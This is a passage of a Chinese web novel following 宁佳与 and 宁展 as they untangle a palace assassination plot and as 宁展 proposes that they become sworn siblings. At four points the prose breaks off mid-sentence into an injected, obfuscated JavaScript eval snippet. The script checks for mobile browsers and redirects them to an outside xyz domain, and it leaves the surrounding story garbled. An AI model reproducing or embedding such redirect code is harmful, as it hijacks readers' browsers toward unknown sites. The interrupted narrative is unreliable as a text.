宁佳与笑得轻，道：“依展凌君所言，让周连吐血是青哥哥的授意？” “怎么？”宁展眉梢一挑，“与姑娘莫非还以为你那青哥哥是什么举世无双的大好人吗？” 宁佳与虽已不是昔日的“雨妹妹”，但二人将近十年的情谊，并非一个转身可以了断。 且不论步千弈过去对她无微不至，对师父更是敬重有加。师父早年卧病在床，便大多是她、步千弈及白歌三人侍疾守夜。 若她决计接续南下，白歌要务颇多而不能镇日流连山庄，师父还须托步千弈帮着照看。即使她无法回应那份强势的挽留，也不该和宁展在这儿指摘步千弈的不是。 再退一步，就算步千弈是个坏人，他展凌君亦非完美无暇的大好人。 宁佳与静默良久，没接宁展的话，指尖一下下点着臂弯，看宁展今日要唱出多精彩的独角戏。 但她忘了，她与宁展一路吵嘴吵得光凭眼神就知道对方在骂什么。 宁展两眼一眨，直截点明了宁佳与的心声。 “当然，我不是正人君子。只是与姑娘这般聪明，按说不难料想步千弈的小动作，不消我提醒罢？” 宁佳与唇齿微张，熟悉的不安逐渐涌上。这心境，和宁展在景安主动寻她开天窗、说亮话时几无二致。 值得宁展如此，怕又是件要紧的麻烦事。 “展凌君此话何意？” 宁佳与装痴作傻，试图用另一番说法混淆过去。 “这世上谁对谁生了怨气，迟早都得撒出去，不过是早晚问题。青哥哥恩怨分明，他想对谁怎样，大家看得明白。展凌君何必针对我一人？” 宁佳与顾左右而言他，宁展却不急拆穿，耐心道：“与姑娘言之有理。可问题就出在，究竟是谁先对谁生了怨。是步千弈先对周连心存不满？抑或是，周连先对步千弈暗怀怨愤？依我看啊，都不是。” 宁佳与欲言又止，游移半晌，索性随着宁展说：“那展凌君以为是什么？” 宁展肘抵桌案，好奇道：“与姑娘对那位寻芳楼前使软剑的内宦，根本没有下死手罢？” 他神色无比真挚，仿若诚心向先生求学问道的小弟子，哪有多少坏心眼儿？好像先生点一下头，他便能向同窗显摆数月。 宁佳与不置可否，只道：“何以见得？” “银骨扇里的针，并未留毒，与姑娘还将至关重要的一针扎在上星穴。”说着，宁展碰了碰自己的额前穴，羡慕般道：“他要杀你，你却只让他睡了一觉。那人心思可憎，倒真有福气，得了小与姑娘的怜惜之心。” 宁佳与立刻捉到了宁展的破绽。 她不着痕迹地压下唇角，沉声质问：“是以，展凌君取走我的扇子整整两日，就是为着研究里边儿的针是否有毒？” “......啊？” 宁展手肘一滑，原本神气十足的脸窘迫地挨着腕。 而宁佳与面对宁展不断袭来的坦诚和好意，终于可以少一丝愧疚。 她趁势抽出银骨扇，缓缓抚开扇面，惋惜道：“可怜我的小扇子，寄人篱下不说，竟还要以自己的秘密去交换这身靓丽新衣。” “不是，我......”宁展不自觉捏住右耳垂，“你的针是否有毒，我在城郊客栈就试过了。取走你的扇子，就只是给它换新衣。” “哦？怎么试的？我依稀记得，”宁佳与两臂抵住桌沿，乘胜追击，“当时那几针并未命中殿下你。” 宁展此番还有生意要同宁佳与洽商，若能成，用些目前来说不足轻重的事作代价也无妨。 “......客栈掌柜，是我的人。你走后，他验了留在房中的针。” 这是宁佳与鲜少错过的关键，权因宁展和掌柜的反应无不真切，连素来木讷的以宁，彼时表现都异常逼真。 “你们在大堂争执不下，又到借口我房中商讨什的细作和布防图，全是要试探我？”宁佳与神色诧异，“——你落我下风，也是想借口引我去宁府？” “是......也不是。”宁展沉住气，坦然道：“与姑娘身手自然了得，我没有刻意输给你。只是你用巧劲儿，几招之内，虚实难探，暗器难防，剑还给你一声不吭折了。左右你接近青竹阁另有目的，不如打开大门，放你进来，届时——” “停停停停！”宁佳与旋即抬掌，“展凌君那些歪心思，就不必与我一一交代了。冷不丁让我这外人清楚那许多内幕，我今日还能活着走出膳堂么。” “与姑娘先前还说，你我二人是同甘共苦的伙伴。”宁展轻轻挪开宁佳与格挡视线的手掌，“眼下又把自己当外人了？” “我——” “说起寻芳楼那日，与姑娘尚且算是青竹阁中人，若不想露马脚，在我身边得有十二分小心。可你亦然不顾我作为掌阁的指令，”宁展道，“擅自出手，帮了以宁。” 宁佳与讪讪收手，含糊道：“我是担心以宁兄自顾不暇，墨姐姐......” 宁展当初为了以氏不计后果地得罪景安王后，就绝不会将以家姐弟的生死置之度外。 场面观之凶险，他有把握不出手，便是看清了在场皆是迎柳阁的小喽啰，且迎柳隐士精弓弩而不善刀剑。人多势众，于以宁却不成问题。 “是吗。”宁展清声打断，“与姑娘见识过阿宁的身手，不止一次。再者，你也是暗阁中人，会不知迎柳阁不善近战？” 宁佳与默然。 她当然知道，然而刀光剑影里，岂止不善近战的迎柳阁那样简单？ “是了，你的目光全在那宦官的铁莲衣下，如何看得见在场的旁人呢。那铁莲衣下的黑靴，”宁展往椅子上靠，瞥一眼桌下，“和与姑娘这对，很是相像啊。我竟不知，你们听雪阁还收太监？” 宁佳与徐徐抬眸，平淡道：“他是周连亲信。” 步千弈自幼就不乐意出席些个大大小小的筵席，因为实在烦闷。诸如七州大典这类步长微没法代为推辞的，他只好邀雨妹妹一同前去。 全靠韩雨时不时与他说说话，他才不至于当着诸王百官显出“抄别家满门”似的冷脸，步长微也就对他把来路不明之人带在身边视而不见了。 待韩雨，步千弈可谓无话不答，故各式各样的宴会俨然成了韩雨的认人学堂。 一来二去，宁佳与想不留意到周连那位事必躬亲的心腹都难。 步千弈掌阁前，那人不是隔三差五出入听雪阁替周连通传微王口谕，就是将久留慈幼庄误了时辰的大殿下请回王宫。 “周连亲信？那景泰不会没见过他的脸，我也该对他有印象才是。”宁展神情专注，犹豫道：“他易容了？” “正是。”宁佳与颔首。 易容假面做得极细致，若非那双宁佳与再熟悉不过的黑靴，她未必能认准对方身份。 “纵然如此，他何以持有听雪阁的配置？莫非，周连将人塞进了听雪阁？一介内宦，插手暗阁，”宁展若有所思，“步千弈竟然忍了周连这么久。” 他说得含蓄，但字句皆是对步千弈如今才对周连动手的难以置信。 毕竟天底下背着千钧重负者，没几个不疯魔。或于片刻，或于僻野。 依宁展十岁之前的脾性，要是疯起来，较步千弈好不了多少。 宁佳与不可思议地歪了头，没想到宁展能为步千弈流露几分同情。 她沉吟少顷，如实道：“青哥哥掌阁后，裁汰了众多仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679265|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通蛮力、不通轻功的老人，就连......” 宁佳与兀自顿声。 就连大师兄，也是看在师父的情分上才得以留下。 她是早该料想，听雪阁有情分可讲，其他暗阁没有，动荡不定的局势没有。步千弈当初大刀阔斧革新，不是无理。 寸阴是竞，大家都在拼命往前跑，追新鲜出炉的饼，脚步慢了，便要被瞬息万变的时世饿死。 故步千弈手握大权，听雪不单是上头易主，下边曾效忠步长微的老人皆由他一口气拿掉了。 “这招倒是和我......”宁展小声嘟囔。 “什么？”宁佳与没听清。 “不是什么大事。”宁展微微摇头，“与姑娘请继续。” “后来，周连就动了往听雪阁塞人的心思。不过半柱香工夫，”宁佳与无奈道，“那些人便被青哥哥挨个‘请’了出去。其中，只周连那位亲信领到了我着手分发的鞋。后来师父改良了配置，那人脚上的，听雪阁早没人穿了。” 宁展盯着宁佳与，狐疑道：“与姑娘那日放他一命，不会是要给周连一个面子罢？” 前路犹未卜，宁展不想再找个面对刺杀自己之人都轻言放过的菩萨作搭档。但这个“菩萨”，可以是他自己。 横竖，他就做这最后一回。 凡事，总得因为特别的人而例外。 “自然不是。这样精彩的一步棋，怎能断送在我手里？他从哪个棋奁来，合该回到哪去。” 宁佳与谁的面子都不给。 她放那人一命，就是要看看当今世上除了嘉宁和墨川，究竟还有谁如此容不下她这死里逃生的韩家女。 是周连，还是步长微。 周连权势再大，到底只是个内侍监，出了步溪，谁还认什么周大公公？如无步长微，他没法那般顺利将自己人布至景泰身边。 与其说是那内宦是周连亲信，不如说是步长微借周连之手养的另一条忠犬。 步长微对谁都肯好颜相待，唯独没有正眼瞧过宁佳与。包括前不久其乐融融的席间，步长微提及宁佳与，亦是“传闻中的青梅竹马”，如同从未见过她。 宁佳与早知步长微对她反感，但在过去的印象里，步长微于臣民确是位贤明可亲的主，她便没把此事放在心上。 能买鬼推磨的金银财宝犹不做到人见人爱，她凡胎而已，做不到也实属正常。 却不知，这份反感到了要杀人灭口的地步。 “与姑娘果真才高识远。先前，是宁某有眼不识荆山玉。” 宁展挥开千里云雾，跋山涉水而来。似乎只差几步，他便可以跨过两人之间的第一道鸿沟，触到那束近在眼前的蟾光。 他抿了抿唇，谨慎问：“时下，与姑娘可看清哪个才是真正的棋奁了？” 宁佳与没法草率断言这步棋就是步长微手笔。 她需要一个更确切的答案。 于是那日临走前，宁佳与将宦官身上的五根细针尽数取下，衙役赶来寻芳楼，早已不见那身铁莲衣。 官府在明，青竹阁在暗，全城搜铺，他在景安已无容身之处。 除去面上可见的特质，步溪人氏另有一处异于外州，即无可比拟的精诚团结。 他身为周练亲信，一旦出手，不论成败，凡有一息尚存都会回宫述职。 假使刺杀之事系周连授意，步长微全然不知，此人撑死了算是一颗无功而返、提前收网的棋。 周连三朝老宦，若是蠢到小题大做处决追随自己多年的亲信，非但引得步长微侧目疑其用心，更要任本就对他不满的言官拿住错处。 他不能轻举妄动，日前私宴上负责传膳之人，以及今晨到听雪阁通传口谕的跑腿，就理应是那褪去假面的铁莲衣，而无须劳动大内总管。 可若是向来仁厚的步长微想要了结一个办事不力的手下，必然是手下犯了情理难容的罪，朝野上下毫无异议不算，还要拍手称赞“微王英明”。 现如今，行刺失手的落水狗杳无音讯。不论此人是被调离王宫，还是被赐了白绫、毒酒，都不再重要。 重要的是。 “看清了。”宁佳与回望宁展，笃定道，“看清了。” 60. 执念 宁展松了一口气。 宁佳与几次三番回避，让他近乎丢了预设结果的心思，这回总算是得着了明确答复。 看清步长微，即是看清自己身处故地的景况。宁佳与想走出来，那就并非是靠一个步千弈能够颠覆的立场，哪怕搭上整个听雪阁，结果也未必会改。 是以，宁展终于可以重新面对宁佳与，再度征询。 “小与姑娘，我要一个准话。或走或留，权凭你心。” 他的恳切较从前只多不少，似当初的小弟子如今揭了榜回到先生面前，请先生为他公布——经久的苦心究竟会是水底捞月，还是如愿以偿。 “青竹阁......” 宁佳与手指探向袖袋，里面躺着孤零零的两粒含桃，及一纸尚未拆封的密报。 “果真寻得到任何我想要的消息？” “当然。”宁展毫不犹疑，复又严谨道：“但与姑娘所寻之人，须仍在七州境内。” 宁佳与平复心绪，冷静道：“殿下如何确定，我要寻的是人，而非物件。” 宁展瞧出了宁佳与的顾虑，却也理解。 埋于深处的秘密，不能任人随意触碰。 他端正身子，拿出十分诚意答：“首先，倘若找物，多半是对财、权、人，三者之一有执念；倘若找人，多半是对爱、恨、恩、义，四者之一有执念。依宁某拙见，与姑娘不贪财权，居仁由义，且是重情之人，比起寻那冰冷的物件，兴许更希望找到鲜活的生命。” 宁佳与无所可否，但隐隐动容，遂追问：“其次呢？七州可不小，展凌君当从何下手？” “其次，与姑娘喜含桃，墨川及永清盛产此果；又偏好辛香，永清及琅遇多制此味。综上合一，与姑娘的执念，大抵就在永清。当自永清始，逐层排开。” 宁展言笑晏晏，神色陶然。 “如有误，请与姑娘不吝指正。” 宁佳与心底忽然泛起难以名状的酸涩。 嘉宁到步溪短短两月，她对宁展说过的实话屈指可数。 她声称与宁展是同甘共苦的伙伴，可姓名、年岁这般与人相交最基本的自述也不曾如实告知。在宁展眼里，纵使她连一个合理的苦衷也无法坦白，对方依旧反复包容着。 包容她那颗模棱两可的心。 在满桌对一个嘉宁人而言宛若啮檗吞针的辣子面前，宁展都能凝神梳理她的喜好由来。宁展为她所求之物作考量时，甚至不确定二人这交易有几分可行。 每每动了远离的心思，对方好像总有足够让她回首的诚意，令人置身论情太远、谈怨不及的湍流，随着潮起潮落，高低沉浮。 然物是人非，宁佳与环视当下，真相与真心皆不便轻易托出，她又能给宁展带去什么？ 立于宁展的位置度量，这无疑是笔极不划算的买卖。 “在下无权无财，亦无享誉七州的威望，目前对您的鸿业远图亦无甚用处。不知展凌君......”宁佳与神情不属，“所求何物？” “权财名望乃身外之物，怀才报德，是为能者。与姑娘德才兼备，”宁展顿了顿，笑靥犹在，“正是元某心之所向。” 宁佳与面色愕然，好一会儿才道：“我不过问展凌君所求，您直言便是了，何必如此......戏弄人。” 虽然宁展句句肺腑，并无戏弄之意，但依旧禁不住怀疑，面前这位与那天天将“倾慕”挂在嘴边的姑娘，究竟是不是同一个人。 这般情形，倒衬得他轻浮放荡了。 “咳。”宁展将身板打得更直，正色道：“宁某是想同小与姑娘义结金兰，做你的义兄，同拜李主事门下。” “结......” 宁佳与呆若木鸡，似在思忖自己这对耳是否生了何许不治之症。 “结什么？！” 这反应不出宁展意料，毕竟李主事听闻此事时比宁佳与吓人多了。 “结为异姓兄妹啊。”宁展理所当然道，“不对，若小与姑娘如今姓宁，那是同姓兄妹了——” “兄妹？！”宁佳与双手猛撑桌案，忍无可忍，倾身质问，“你究竟与我师父谈了什么乱七八糟的话啊！” 宁佳与全然不能理解此等匪夷所思的提议，头绪混乱间，仿佛瞧见宁展身上附了些脏东西在驱使他的三魂六魄。 莫不是被她师父鼓捣傻了？ “也......”宁展有些心虚，“没谈什么。” 的确，除了缺德借外祖母的旧交情诱导李主事认下太保身份，再厚颜无耻地激其恻隐之心，让人勉强允他一个争取宁佳与走向他的机会外——他与李主事，也没谈什么了。 - “异姓兄妹？随行南下？”李施愤然摔杯，怒目指斥：“无耻之徒！你讲得好听，又是元叶、又是灵位、又是治国安邦，合着跟老娘兜这么大个圈子，到头还不是为着带走雨儿！徒有虚名的花架子，你简直不配做元家后人！” 宁展与其相处不过几盏茶工夫，却很快适应了李主事随时暴发的脾性。乃至李施抬手的刹那，他业已挂好笑脸预备开口道歉了。 然则再呆板的木头也难抵这许多一惊一乍。 以宁在碎溅一地的茶盏中稳住，顶着满头骂声，上前为二人净盏、添茶。 宁展未及开口，公道杯将将被以宁提起，李主事厉声道：“你还添！还添！这时气，煮哪门子的热茶，要活活烫死老娘不成？！” 原本几无波澜的雨春花茶震得水纹颤颤，但缩在杯里，愣是没冒头。 以宁看向自家殿下，宁展默然干笑，眼神示意他最好不要得罪这位神鬼莫测的长辈。以宁搁置了茶，退回宁展身后。 宁展一双眼弯得讨俏，引手道：“太保莫气——” “太保！再叫一声太保看看？”李施气涌如山，“你以为位极人臣很威风？摊上个不识好歹的庸君，位极人子都无济于事！” 当初步溪旧主屡次找上李施，对李氏及她本人承诺了天大的好处，只为恭请她位居太保、辅佐年少的步长微。 李施游移不决，其间固有家族在后方极力劝她点头，可她不得不认，自己也没能一口回绝那份专属于两个人的甜头。 奈何桀纣当道，青云万里的太师抑或天纵奇才的太保，皆未得善终。此谓人臣切身所感，韩宋如是，李施亦然。 李施并不后悔曾经的选择，独恨少时力不能及，任由受旁人牵制。她与徒弟相依十载，心中各有执念。 对宁佳与来说，若韩氏无人生还，与自己分别久矣的母亲始终下落不明，她都不会摒弃那份执念。 李施甚之。 即使故人早已西去，她也要棺椁里那具白骨活过来。遑论如今元叶尚在人世，她更要无所不用其极，直至得偿所愿。 有些东西，是神佛赐予她的天赋，谁都达不到，谁都抢不走。 “李主事勿急，凡事好商量。步世子许诺您的东西，”宁展和气怡声，“我们嘉宁一样拿得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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不管是与后宫雍容华贵的娘娘见礼，或同前朝讲究颇多的士子打交道，他没遇到过这式样的香露。 宁展心下一紧，长揖的两臂僵在空中。 “那书信，可不是我要展凌君写的。信中除了我活着这事，多余的一概别提。胆敢胡编乱造。” 李施微微侧首，眼上那对半明半暗的却月眉鬼魅非常。 “休怪老娘不客气。” - “没谈什么？！展凌君为所欲为的本事真是日渐精进啊，连与一介来历不明的布衣结成兄妹也能想得出来。我若是两岁小孩——” 宁佳与攘臂而起，指着远在千里的景安。 “都得领您去请墨姐姐好生瞧瞧，看是不是脑子被谁啃了！” 尽管宁佳与把宁展斥成了晕头愣脑的二傻子，但他经由李主事两个时辰的打磨，现下这小场面，顶多是份不咸不淡的饭后茶点。 “小与。我既正式向李主事提出与你结拜，”宁展轻声细语，“就绝非是一时脑热。” 软语随清风绕耳，替宁佳与撩起了脸颊碎发，带走恼人的丝丝燥意。 “你——”宁佳与垂下手臂，极不自然地看着宁展，迟疑道：“这个想法，用了多长时间确定下来？” “七日。不长，也不短。” 宁展凝瞩不转，眼底如有桃花踏春，掀起涟漪。 “就是，你不在府中的这七日。” 这不长也不短的每一日，他无时无刻不在想。 61. 三指 七天，确实不长，不短。 这段时日，宁佳与清晨睁眼，所见皆是如昨朦胧而昏沉的光景。 她分明毫无困意，却记不得自己如何沐浴、更衣，再拖着身子踏入灵堂，又如何长跪蒲团，不觉夜来。 香火渐暗，她沉滞双手合十，喃喃念着师父亲笔写的往生咒。 流光淌着沙哑的咒语逃得飞快，匆忙送走熊霆，同时催促她从漫长的凝寂中醒来。 “我不在时，展凌君都做了什么？”宁佳与沿桌而坐，“总不能整整七日都在想同一件事。” 宁展若有所思，认真道：“这七日，我重整了城里的青竹暗桩，重理步溪近年来的秘闻，给父王递奏报，向母亲复信。其间，并未耽误考虑你我结拜之事。” 这提议太过荒诞，宁佳与有口难应。无论如何，得让他收回那心思。 “殿下今日可有将此事详尽告知师父？不会只是随口一提罢？” 宁展从容点头，道：“自然清清楚楚说明了，这是应有的礼数。” “师父她......”宁佳与不着痕迹地瞟银骨扇，“怕是不同意？” 宁展笑微微“嗯”一声，无奈又庆幸：“李主事发了好大的脾气，不过，最后还是把决断权交到小与姑娘手上。此事，我终归要当面问过小与你的，你——” “我不同意。”宁佳与不假思索地打断。 宁展嘴唇半张，眼底闪过瞬间失措，很快恢复如常。 他没有丝毫不悦，甚至将声音放得更缓，尤其和婉：“小与，你愿不愿听我说完？听我说完与你结拜的缘由，届时你要回绝，也不迟。” 宁佳与有意无意地攥了攥手，不禁回忆。 究竟从何时起，宁展不再那样执着于同她在斗嘴上分出胜负了？俨如不管她是攻是守，对方一直有用取之不尽的耐心在等她。 那是种宁佳与猝然下坠，还能够结实接住她的绵软，与步千弈无条件的相信和支持貌似类同，但由浅入深感受后，又浮出千百处差异。 宁展所有的绵软，好像都可以追溯到特有的来源和归属。 单论此刻，宁佳与并不排斥向这份情谊走近。 她深吸一气，平静道：“你说罢。” 宁展十指相交，置于桌案，清切道：“鄙人嘉宁宁展，表字元祯，嘉墨七年腊月二十日晚生，年方十九。上有外祖母、舅姥爷及双亲，下有胞妹。 “你我萍水相遇，得小与多番鼎力相助，不胜感激。而今，鄙人钦佩姑娘才德，欲同姑娘结为异姓兄妹，同拜李前辈门下。望日后得以力学功法、敬奉师门，和小与同心共济、相辅而行。” “愿。”他肃然起身，拱手而拜，“能以当世绵薄之力，报小与恩义。” 自宁佳与亲手揭去宁展的假面后，二人独处时，宁展便极少以如此郑重的面貌待她了。这敦请之词洋洋洒洒，反而令她听得恍惚。 斟酌之下，她不确定自己能否将宁展的语意理解完整，干脆问个明白：“殿下此番与我结拜，是为着向师父请教？” 按这说辞，宁展正是李施口中冠冕堂皇的无耻之徒——明面上义结金兰，实则七弯八拐，看中了李施独传门下弟子的不二功法。 宁佳与直白得有些下人脸面，宁展却欣然接受，且十分爽快道：“小与所言也不错。” 宁展回答利索，但宁佳与半信半疑。她抵住桌案托下巴，沉默审视，似是吃准对方还有下文。 “但是。”宁展堪堪分离两掌，“不算完整。确切来说，共三大缘由。” 宁佳与右手撑脸，指尖没入发丝，不疾不徐道：“洗耳恭听。” “在下方才所述，是其一。” 宁展比出一指。 “亦是三大缘由中最紧要的。简言之，这一点出于敬仰、报恩、求学，均与旁人无甚干系。前两个词，想必无须我阐释，唯余求学——我要请教之人，并非李主事，而是小与你。” 宁佳与自知考绩了得，听雪阁中近乎无人可及，然在师父面前，她是班门弄斧。 “为何是我？” “李主事当然是天纵奇才，有颠乾倒坤之能，也因此锋芒毕露，只过去隐居的数十年得以安然度日。力量过于强大，李主事尚且无法遏制，倘传至我手，恐一发不可收拾。”宁展道，“而这样凶险的威力，却被小与将核心转化为另类更灵活的潜力，使其收放自如，我着实佩服。” 平日，宁佳与有师父爱护、同窗褒奖，是以自视颇高，但也从未把自己奉得如宁展所言神乎其神。 此前她的确在交手时让宁展吃过亏，这会儿却很难不怀疑宁展这番吹捧其实是在卖乖。 宁佳与默不作声，眼神示意宁展往下说。 宁展了然，比出两指。 “其二，便是因那记步长微乱点的鸳鸯谱了。我的‘请辞书’，估摸着与步长微送出的‘保媒信’先后抵达嘉宁。嘉宁世子退回君位，眼看大权即落，忙定亲娶妻，七州各个王室会怎么想？” “嘉宁世子为保住储位，与步溪权贵联手？”宁佳与猜测道。 若这桩由步长微做媒的婚事结成，意味着步溪主动伸手打破了百年以来“中立不倚”的原则。待双方修得邦交之好，嘉宁与墨川对抗，再不会是孤立无援。 而这大功一件，就算嘉宁王室有人不肯，最终还得被臣民记到宁展的头上，世子之位依旧是他囊中之物。 宁展颔首称是，道：“照此下去，所谓步溪权贵——你，你的一切，他们掘地三尺都会挖出来供众口相传。” “这正是步长微想要的。”宁佳与心如止水道。 步长微在刺杀一事上已打草惊蛇，如今仅凭一刀、一剑想除掉宁佳与，是痴人说梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679267|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那颗布于景安良久的棋子，绝不单是为宁佳与而设，但他既舍得提前动用，又岂会善罢甘休？苦战终期不明，他欲百战不殆，须得知己知彼，从宁佳与最可疑的身份入手。 步长微眼前的路，或有两条。 首先是撬开李施的嘴，若不然，他便要借各州王室对宁展的忌惮之心，让宁佳与暴露在万目睽睽下。往后，打算直接除掉宁佳与的人，远不止他步长微一个了。 “小与，且宽心。我说过，那是稳住步长微的缓兵之计。”宁展道，“日前，我便差专人将新函快马送往嘉宁。信中言明，你我之间乃是相互扶持的朋僚；你点了头，我们是结拜兄妹。父王还认我这个儿臣，就不会将此事摆上朝堂。” 过去十年，宁展几乎不做没把握的事。时至今日，他统共赌过两回。 一回在两月前的嘉宁，另一回在两个时辰前的茶楼。 至于送往嘉宁的新函，亦然稳操胜券。 以联姻修好之事，没人比宁善更清楚，关键要的必然是两个声望对等之人。 想嘉墨四年，墨司琴纵然是先徉王与王太后元叶的亲生女儿，墨川王室尤其尊贵的长郡主，也得由新主齐王赐了封号，方才与宁善成婚。 现今宁善眼中的宁展，如何也不可能娶一位他闻所未闻的步溪女子。 至于女子身份，他压根无意深究。 是以，宁善认不认宁展，都不会把步长微的提议当回事，更莫说将此事摊开容百官商议了。 观嘉宁善王，宁佳与不如宁展透彻，却将宁展费尽心机替她掩藏身份的用意听得明白。 任是短暂的两个月，还是漫长的七日里，宁展竟当真一丝不苟兑现着言语间的诚意。 恳切非常，以致那些被称作目的和交易的东西，看起来才更像他为了说服宁佳与的冠冕堂皇。 宁佳与敛眸垂睫，耳后两指若有若无地摩挲着什么。 她忽然不知怎么开口，又觉得自己什么都可以不说，除了有些不该吝啬的话。 宁佳与咽下踌躇，轻声道：“谢谢。” “总之，放宽心。只是其三......” 侃侃而谈的宁展莫名局促起来，放下了手。 “确是我一门私心。倘多有冒犯，小与姑娘要狠狠打上几扇子，抑或刺我一剑，在下绝无怨言。” 宁佳与差点儿被他这浮夸的代价唬住，不由破颜为笑，道：“展凌君但说无妨。” 宁展蓦地起身，取过适才进门安置一旁的佩剑搁上桌案，推至宁佳与手边，有商有量：“真要刺，可否刺得利落些？” 宁佳与瞥着面前的利刃，终究忍住了三两句损人乐己的玩笑话，客气地朝宁展点点头。 “实不相瞒，在下心中，早有一位心仪之人。而小与姑娘，”宁展喉间滚动，“还挺像她的。” 62. 约定 话已出口，宁展追悔莫及。 他心里恨不得跳炉重造，再反问自己是否非要动这私心不可？ 闻言，宁佳与搭在耳后的两指颤了颤。她登时挪开原与宁展两两相对的目光，视线落在面前那把剑。 宁展见状忙把手摆成虚影，仓皇道：“不不不，小与，你别误会，我没有把你当成她的意思。” 宁佳与提起剑，却不是要将人捅成血筛子，反而原封不动交与宁展。 她不着痕迹避开宁展的眼神，声色如常：“殿下不若说说，我何处像她？” 宁展稍稍蹙眉，犹豫道：“真的要说？” “说罢。” “那我可说了？” “......嗯。” “最初，你总爱往脸上抹泥，教人难以辨别原本的面容。是以那夜在宁府藏书阁，我借着月光，第一次看清你的脸。只那么瞧，我便觉得你的鼻、唇、眼，无处不像她。”宁展道，“但小与的言谈举止又与她大相径庭，一度令我将你和她分离到极远的两端，甚至打消了你二人相似的想法。” “后来呢？”宁佳与奇道，“又为何觉着我还是像她？” “不知小与有无察觉，你其实是个行为处事相当矛盾的人。至少，”宁展道，“在我面前是这样。” 宁佳与从未听到过诸如“行事矛盾”这般的评价，但宁展言语未尽，她业已明白自己究竟是如何露了馅。 从前之所以无人提起，是因着江湖混子的身份她确实扮得有模有样。就是较为了解她的李施和白歌，都挑不出任何破绽。 “呵、呵呵......”宁佳与干笑道，“是吗......” “对。时而野腔无调，笑得俯仰；时而言行妥帖，掩口胡卢。你说自己不修小节，可对身边人的丁点儿好意都要客客气气致谢。小与的其中一面，俨然是长大成人的她。倘若她尚在人世。” 宁展身形一顿，收了剑。 “兴许也是位英英玉立的女娘了。” 宁佳与欲言又止，眸中掠过些许诧异，道：“你的心仪之人......不在了？” “嗯，她很小的时候过世了。是我无能，连累了她，”宁展低头道，“却没法护她周全。” “逝者如斯，而未尝往也[1]。她看到你因着她自怨自艾，”宁佳与指尖从鬓边抽离，青丝重新盖上耳廓，“也不会好受罢。” 宁展未敢苟同。 “斯人已逝，幽思长存。无论如何，我会记得她，永远记得。” 短暂无言间，他将虎口掐出数道错乱的深印，直至宁佳与曲指轻声敲响桌案，宁展方才回神。 “我当初没能救下她，也没能救下她的父亲。而今，我想作为义兄待在你身边，并非为着你与她的相像之处，只因这世上除了思思，就剩你一个......让我不能直面死别的姑娘。这就是我的私心。” 宁展犹豫抬头，看着宁佳与。 “很可恶，但它成日成夜地浮现。我做不到明知有人要杀你，还眼睁睁由你留在险地。 “自私是真，伪善是真，我希望你今生性命无虞的心，亦未掺假。拳拳之忱，日月可鉴。纵有成百上千的步长微，若宁元祯一息尚存，便是济河焚舟，也会替你将人解决了。” 他说，宁元祯。 那是个纯粹而天真的约定，是宁佳与未曾亲耳听过的完整。 随着母亲逃出生天时，她甚至不知自己会死在哪条乡道，不知在哪把断头刀下咽气，才能和父亲团聚。 她又何曾料及，将来可以安然坐在故人面前，待其道出这迟来的约定...... - 少年微仰首，面朝比自己高出小半头的姑娘，惊喜道：“我连姓名和表字都不曾告诉你，你也愿意同我交朋友吗？” 韩雨逆着初春晴日，抚平清风扬起的面纱，道：“非常愿意，是公子你帮了我。” “下回再见，我会把我的一切都说与你听！”少年牵着老管家的手，一步三回头，挥动手臂与新朋友道别，“要记得我的脸啊！” 桃花流水旁，霓裳羽衣衬着笑貌嫣然，韩雨念道：“好，一言为定。” - “你就如此愿意同我义结金兰吗？即使，”宁佳与望向宁展，“我连姓名和表字都没告诉你。” 宁展情态至诚，笃定道：“我，非常愿意。” “此事，我须得回家与师父谈过。”宁佳与扶扇走出门外。她背对宁展，面朝午后骄阳，“下回再见，我会给你一个准话。” 宁展骤然心紧，右手按上腰间的桃色茄袋，竭力平复突如其来的慌乱。 宁佳与倒影拉长，他恍然起身，朗声道：“一言为定！” 步长微的阴损，仅是促使她松口的缘故之一，而绝非关键。宁佳与决定靠近宁展的理由太多太多，早已不可胜记。 她将将踏出高门大院，被门口满眼怨气的白歌瞪得浑身发毛。 白歌独坐车前，左臂搭着曲起的膝，右手搭剑柄，看似随意，却厉声道：“站在那里做什么？真要我捆了绳子‘请’你回家不成！” 宁佳与犹未及从适才的心境抽离，手下意识去摸银骨扇，要给几欲七窍生烟的小信鸽消消火。 “你小子。”她猛不丁开扇挥向白歌，“怎么跟榜首讲话的？” “榜首榜首，你几个月没考绩了？” 白歌全然不躲那锋利的扇骨梢，只斜了宁佳与一眼，纵身蹦下前室，作个把人一屁股踹进听雪篷车的虚招。 “少在大街上显眼！” 宁佳与十分不爽。 她分明记着儿时的白歌怕极银骨扇，怕到扇梢冒头就想躲。故白歌一欠揍，她便以各式耍扇的假把式撵得白歌跑掉毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 